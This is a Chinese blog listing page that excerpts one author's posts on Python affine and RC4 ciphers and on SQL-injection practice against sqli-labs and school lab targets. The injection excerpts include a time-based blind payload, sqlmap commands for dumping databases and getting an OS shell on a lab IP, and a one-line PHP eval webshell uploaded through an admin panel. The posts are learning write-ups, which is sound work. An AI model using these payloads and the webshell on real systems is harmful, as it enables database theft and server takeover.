划水日常
文章平均质量分 51
我在干饭
这个作者很懒,什么都没留下…
展开
-
仿射密码 python实现
主要为两个函数的实现:加密函数 : y = ax+b (mod m), (一般m设置为26)解密函数:x = a^-1 (y - b) (mod m) , a^-1 为a 的逆元,在用其他语言实现求逆元时需要注意mod 取整问题;参考代码如下,#coding = utf-8import mathCryptoText = ''PlainText = ''txt = ''a,b,m=0,0,0# 加密def encode(): global a,b,CryptoText,txt原创 2021-11-07 21:58:17 · 1623 阅读 · 0 评论 -
RC4 python实现
RC4算法是一种流密码(面向字节操作),密钥长度可变(根据明文长度生成密钥流)RC4加密流程:1,初始化状态数组S:长度256字节,每个S[i] 为1个字节,S[i]的值为 0-2552,初始化临时数组T:T的长度为256字节,每个T[i]为1个字节,首先生成一个密钥数组Key, Key的长度为1~256字节(随机),每个Key[i] 为1个字节,并且每个Key[i] 的值为随机生成的;然后将数组Key中的每个Key[i]轮流并且循环放入数组 T,比如Key[]=1,2,3,4,5 ,则放入数组T原创 2021-11-06 12:08:07 · 2485 阅读 · 0 评论 -
SQL injection_POST injection
实验环境 : sqli-labs_Less-9POST注入 : 常出现在一些以post方式提交数据的页面,比如账号密码输入框,post注入是通过post传参作为注入点,来实现查询数据库,得到我们想要的信息;实例:打开解题网址,一个输入框:常规测试单引号,出现语法错误提示,到这里,通过burpsuite来实现post注入更加方便:1,抓包:闭合语句,然后进行一个单引号注入即可:over!...原创 2020-09-24 17:04:46 · 224 阅读 · 0 评论 -
SQL injection_Blind-Time based
时间盲注: 参阅了许多博客,得到了一个关于时间盲注的通俗易懂的说法,时间盲注是基于布尔盲注的 ,二者 '参照物’略有不同,布尔盲注主要是看页面显示上的差异,比如页面上某一串字符的出现或者消失;但是有的时候页面不会有明显差异变化,这是需要通过时间盲注,主要是通过 sleep() 加 if 判断,通过页面的响应时间的延迟,来做一些判断和注入;实例:(sqli-labs_Less-9)可以看到使用布尔盲注页面没有变化:此时用时间盲注:url/?id=1' and sleep(5) -- +# sle原创 2020-09-23 23:42:49 · 981 阅读 · 0 评论 -
SQL injection-Boolian Based
sqli-labs_Less-8布尔盲注: 通过页面的正确与不正确显示状态来获取数据库的信息;实例:url?id=1页面显示:url?id=1'这里可以看到,从url传入参数只会显示一个 You are in … ,并且输出的内容对我们是没用,也没有报错信息显示,因此我们只能靠这个页面的上一串英文字符的出现或者消失来判断我们的 sql 语句是否被数据库执行,进而构造 sql 语句来猜解出数据库中的信息。1,使用 length() 函数猜解解出当前数据库名的长度:(记得加单引号使后台sq原创 2020-09-23 10:41:35 · 180 阅读 · 0 评论 -
sqlmap_post_injection3
利用 sqlmap 的 --os-shell 进入服务器端,获取flag(学校靶机)0x00首先,仍然是找到网站注入点,然后上sqlmap:python sqlmap.py -u "http://117.167.136.244:28060/ajax.php?act=selKm" --data "gid=1" --is-dba#参数解释:# --is-dba 判断当前用户是否具有数据库管理员权限(这是使用 --os-shell 的第一步)0x01确定了当前用户为 DBA 之后:pyth原创 2020-09-17 22:35:25 · 98 阅读 · 0 评论 -
sqlmap_to_injection2
利用 sqlmap 从网站渗透到服务器端(学校靶机)0x01首先部署容器,然后可以利用 burpsuite 对页面进行抓包:这里抓的是一个页面上商品挑选的一个包,然后利用一些注入方法来探测注入点,这里使用的是一个时间盲注:这里发现回复的内容明显是慢了十几秒,说明与页面交互的数据库执行了sleep()函数,可以判断这里存在注入点;0x02发现注入点,上sqlmap,上命令行**,具体做法可参见:...原创 2020-09-17 22:07:00 · 120 阅读 · 0 评论 -
sqlmap_to_post injection
用sqlmap 做post 注入(学校靶机)0x01工具:sqlmap,burpsuite登录做注入的网站,是一个账户密码界面,首先尝试随意填写密码,观察页面动态:可以看见是显示登录失败的界面,并且url 上也没有参数出现,为post 方式传参:0x02打开 burpsuite, 对这个页面进行抓包:然后在 username 或者 password 的传值后面尝试加入单引号,可以观察到响应端有明显的报错信息,说明这是一个注入点:将请求端的 Raw 复制下来,保存为一个.txt 文件,并原创 2020-09-16 21:46:11 · 130 阅读 · 1 评论 -
upload_file_to_get_shell
入门webshell (学校靶机)(先前获得了网站后台管理权限)0x00首先进入网站后台,观察上传 webshell 文件的入口。这里演示从后台的一个附件管理作为入口,上传 webshell :0x01从这里上传一个提前准备好的一句话木马:<?php @eval($_POST['shell']);?>然后找到上传文件的一个网址,并访问,这里先在后台找了半天没得找到,然后在前台的一个入口中找到了网址:点击下载后进入了我们上传的文件(或者在下载这个地方,右键,然后将链接在新标原创 2020-09-14 18:39:23 · 158 阅读 · 0 评论 -
injection_based
判断SQL注入点0x00判断是否有注入(第一要素)1)可控参数的改变是否影响页面的显示结果(页面是否与数据库存在交互)2)输入的 sql 语句,是否能报错(能通过数据库的报错,看到数据库一些语句的痕迹)3)输入的 sql 语句能否不报错(我们的 sql 语句能否成功闭合)0x01判断什么类型的注入0x02sql 语句是否能够被恶意修改(第二要素)0x03构造的语句是否能够被数据库执行(第三要素)符合上述条件,基本可以判断存在注入点,然后构造 sql 语句,获取信息....原创 2020-09-13 19:45:36 · 156 阅读 · 0 评论 -
sql-lab环境搭建(CentOS_宝塔)
CentOS_to_sql-lab0x00(前提:CentOS中安装好了宝塔,安装宝塔链接:bai du yi xia,并且要开启xshell,并建立连接以及提前准备好 sql-lab的压缩包)打开CentOS, 上命令,查询 ip 地址 :ip addr0x01在xshell 中与CentOS 建立连接,然后输入 bt14 ,这是为了查看你的宝塔基本账户密码信息。0x02然后在Chrome浏览器中输入 ip(ip是你前面查询到的 ip), 账号密码,进入宝塔控制面板:接下来,选择网站原创 2020-09-12 09:32:25 · 399 阅读 · 0 评论 -
sqlmap_injection_to admin
利用 sqlmap 获得网站后台管理权限(学校靶机)0x00,0x01,0x02,0xo…1,首先找到网站注入点:http://117.167.136.244:28004/index/narticle.php?nid=3100上命令行扫描数据库:python sqlmap.py -u "http://117.167.136.244:28019/index/narticle.php?nid=3100" --dbs 这里盲猜是 rjxy 这个数据库,继续上命令行,进行数据表的爆破:python原创 2020-09-10 18:54:38 · 109 阅读 · 0 评论 -
sqlmap_to_injection
使用 sqlmap 做 sql 注入这里使用之前搭建的注入环境0x00首先进入 sqlmap.py 所在目录,输入sqlmap.py -u "http://127.0.0.1/Less-1/?id=1" 进行注入测试 然后发现:从扫描结果中可以得到一些信息 比如:所使用的数据库,数据库的版本,注入点以及注入类型。0x01接下来使用常用的 sqlmap 命令进行一个简单的注入:首先使用 sqlmap.py -u "http://127.0.0.1/Less-1/?id=1" --dbs原创 2020-09-09 22:47:11 · 103 阅读 · 0 评论